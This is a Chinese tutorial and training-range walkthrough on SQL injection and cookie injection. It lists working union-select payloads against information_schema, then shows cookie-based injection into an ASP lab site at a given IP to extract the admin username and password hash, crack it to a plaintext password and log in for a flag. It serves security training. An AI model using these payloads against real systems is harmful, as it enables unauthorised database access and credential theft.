CooKie入

知识梳理

1. SQL注入原理：用户输入的数据可以被拼接到原有代码执行
2. SQL注入基本流程：

• （1）. 判断注入点，例：
  数字型：id=1 and 1=1 页面正常id=1 and 1=2页面不正常；
  字符型：单双引号、括号闭合，观察页面是否正常；
  使用sleep()观察页面是否存在延迟；
• （2）猜解字段数，例：
  and 1=2 order by 1,2,3通过观察页面是否正常来确定字段数
• （3）查看显错点
  and 1=2 union select 1,2,3通过发现显错位置可以知道在哪里输出想要的信息
• （4）查询库名、表名、字段名、字段内容
  可以通过查询系统自带库information_schema来获取想要的内容。
  -查询库名
  union select 1,2,database()
  -查询表名
  union select 1,2,table_name from information_schema.tables where table_schema = database()
  -查询字段名
  union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name='TABLE_NAME'
  -查询字段内容
  union select 1,column1,column2 from table_name limit 0,1
  group_concat可以将多行数据整合到一行输出
  union select 1,2,group_concat(flag) from TABLE_NAME

1. Cookie注入原理：

Cookie是一种储存在用户本地上的数据，指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据（通常经过加密）。
后端接收数据的时候同时接收了GET、POST、Cookie传入的参数，而检验方法忽略了对Cookie数据的校验。
Cookie注入常见于老的ASP网站和PHP版本小于5.4以下的版本。
Cookie注入存在于所有数据库中，Cookie注入核心是传参方式。

靶场演示

靶场地址

地址http://59.63.200.79:8004/shownews.asp?id=171
修改id=171-1页面发生改变，说明输入的数据被当做sql执行了。尝试输入and 1=2 发现页面传参被拦截。

image

站点为ASP站点可能存在cookie注入，删除GET传参，手动在页面添加Cookie测试。页面正常，说明Cookie传参被后台接收

image

ookie注入设置Cookie的方式有三种，burpSuite修改数据包、浏览器控制台Js修改和浏览器插件修改，最常用的为控制台修改。所有修改方式都需要对Cookie的参数进行URL编码和删除原有的传参方式。

注意：Cookie传参需要对参数进行Url编码，否则将不会起作用。

猜测字段数

document.cookie='id='+escape('170 order by 10')页面正常判断存在10个字段

image

判断显错位置

document.cookie='id='+escape('170 union select 1,2,3,4,5,6,7,8,9,10 from admin')

image

这里是一个access数据库并没有系统自带的数据库名和表名,只能猜测

查询字段内容

document.cookie='id='+escape('170 union select 1,username,password,4,5,6,7,8,9,10 from admin')
猜测常用的字段名

image

得到一串字符串，通过观察可以知道这是属于MD5密文
解密得到密码welcome
通过目录扫描得到网站后台界面
http://59.63.200.79:8004/admin/Login.asp

image

填入账号密码登陆后得到flag